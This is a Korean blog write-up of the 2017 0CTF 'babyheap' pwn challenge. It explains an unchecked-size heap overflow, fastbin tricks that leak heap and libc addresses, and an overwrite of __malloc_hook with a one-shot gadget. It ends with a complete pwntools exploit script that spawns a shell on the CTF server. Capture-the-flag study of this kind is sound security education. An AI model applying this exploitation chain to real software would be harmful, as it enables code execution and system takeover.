2017 0CTF babyheap
by St1tchprob
category : pwn
score : 255
Challenge
1. Allocate - heap에 calloc을 이용해 동적할당을 해주며 index로 관리된다. mmap으로 생성되는 랜덤한 주소에 테이블에 힙주소가 저장된다.
2. Fill - 힙 주소가 저장된 테이블에 index를 이용해 접근한 뒤, 그 주소에 데이터를 쓴다.
3. Free - 입력한 index에 있는 heap chunk를 free한다.
4. Dump - 입력한 index에 있는 heap chunk를 size만큼 출력한다.
5. Exit - 종료
Vulnerabilities
Fill 함수에서 해당 하는 heap chunk의 크기를 체크하지 않고, 힙에 데이터를 쓴다.
따라서 heap overflow가 발생할 수 있고, 할당된 힙의 사이즈를 원래것보다 크게 속이고 free를 한 뒤, 다시 할당을 하게 되면 뒤에 있는 청크들의 데이터도 읽을 수 있게된다. 이를 이용해서 heap주소와 libc주소를 알아낼 수 있다.
이 방법은 2016 SECCON의 tinypad와 비슷했다.
Leak
10, 10, 10, 10, 96 크기로 할당 했을 때 초기 힙상태
1번 청크의 size를 overflow한 뒤, 다시 할당하고 3, 4번 청크를 free한 이후, 1번 청크를 dump함으로써 3번 chunk의 FD를 알아낼 수 있고,
이를 통해 heap 주소를 leak할 수 있다.
크기가 10인 2번 청크를 할당하기 전, FD값을 4번 청크의 주소로 overwrite하고, 4번 청크의 크기도 0x21로 overwrite 한다.
위 그림은 2번 청크가 할당되기 전의 힙상태이다.
크기가 10인 청크를 2번 할당하면, 2, 3번청크가 할당된다. 따라서 3, 4번이 같은 주소를 가리키게 된다.
이때 4번청크의 크기를 다시 0x111로 overwrite하고 4번 chunk를 free하게 되면 smallbin이기 때문에 FD와 BK값이 생긴다.
3번 chunk는 그대로 할당된 상태이기 때문에 dump를 함으로써 main_arena+88 주소를 얻게되고 이를 통해 libc의 base값을 알 수 있다.
내 우분투에서는 문제에서 제공된 라이브러리를 링킹할 수 없었고, 심볼들이 지워져있어서 직접 offset을 알아냈다.
좀 쉬운 방법이 있는지는 모르겠지만
[map(hex, m.span()) for m in re.finditer('\x00'*2152, open('libc.so.6','rb').read())]
나는 이 명령어를 통해서 offset을 알아냈다.
Control rip
main_arena앞의 __malloc_hook을 원하는 가젯으로 덮음으로써 malloc함수가 실행될 때, 원하는 곳으로 이동할 수 있다.
이 문제에서는 __free_hook은 fastbin으로 할당할 수가 없어서 __malloc_hook을 덮었다.
__malloc_hook은 malloc함수가 호출 될 때, 사용자가 hook함수를 등록해 놨으면 그 함수를 실행하는 것이다. 디버깅용도로 사용한다고한다.
사용자가 등록한 hook함수가 저장되는 곳이 __malloc_hook 이다.
fastbin을 이용해서 __malloc_hook을 덮기 위해서는 할당될 청크의 크기와, 할당될 위치에 있는 size가 같아야한다.
64bit에서 주소의 앞부분이 0x7f로 시작하고, 이 크기는 fastbin에 속하므로 이를 이용해서 __malloc_hook-35에 크기가 0x60인 청크를 할당하였다.
이곳에 oneshot-gadget을 넣어서 쉘을 획득할 수 있다.
Exploit
from pwn import *
context.log_level = 'INFO'
def alloc(size):
s.sendlineafter(':', '1')
s.sendlineafter(':', str(size))
def fill(idx, size, content):
s.sendlineafter(':', '2')
s.sendlineafter(':', str(idx))
s.sendlineafter(':', str(size))
s.sendlineafter(':', content)
def free(idx):
s.sendlineafter(':', '3')
s.sendlineafter(':', str(idx))
def dump(idx):
s.clean()
s.sendline('4')
s.sendlineafter(':', str(idx))
def solver() :
alloc(10) #0
alloc(10) #1
alloc(10) #2
alloc(10) #3
alloc(256) #4
log.success('alloc 0, 1, 2, 3, 4')
free(3)
free(2)
fill(0, 25, 'a'*25)
free(1)
alloc(80)
log.success('alloc fake size chunk')
pay = 'a'*24
pay += p64(0x21)
pay += p64(0)*3
pay += p64(0x21)
pay += p64(0)*2
fill(1, len(pay), pay)
alloc(10)
alloc(10)
free(3)
free(2)
fill(1, 32, 'a'*32)
dump(1)
s.recvuntil('a'*32, drop=True)
heap = u64(s.recvn(6).ljust(8, '\x00')) - 0x190
log.info('heap = {}'.format(hex(heap)))
pay = p64(0)*3 + p64(0x21)
pay += p64(0)*3 + p64(0x21)
pay += p64(heap+0x80)
pay += p64(0)*2
pay += p64(0x21)
pay += p64(0)*3
pay += p64(0x21)
fill(0, len(pay), pay)
alloc(10)
alloc(10)
pay = p64(0)*3 + p64(0x21)
pay += p64(0)*3 + p64(0x111)
fill(2, len(pay), pay)
free(4)
dump(3)
base = u64(s.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\x00')) - offset[0]
log.info('libc_base = {}'.format(hex(base)))
alloc(0x60)
free(4)
malloc_hook = base + offset[1]
fill(3, 8, p64(malloc_hook-27-8))
log.info('malloc_hook = {}'.format(hex(malloc_hook)))
alloc(0x60)
alloc(0x60)
pay = 'a'*19
pay += p64(base+gadget)
fill(5, len(pay), pay)
alloc(100)
s.clean()
s.interactive()
if __name__ == '__main__' :
if len(sys.argv)==1 :
s = process(['./babyheap'])#, env={"LD_PRELOAD":"./libc.so.6"})
print util.proc.pidof(s)
offset = [0x3c3b78, 0x3c3b10]
gadget = 0x4526a
pause()
else :
s = remote('202.120.7.218', 2017)
offset = [0x3a5678, 0x3a5610]
gadget = 0xd6e77
solver()
Result
블로그의 정보
튜기's blogg(st1tch)
St1tch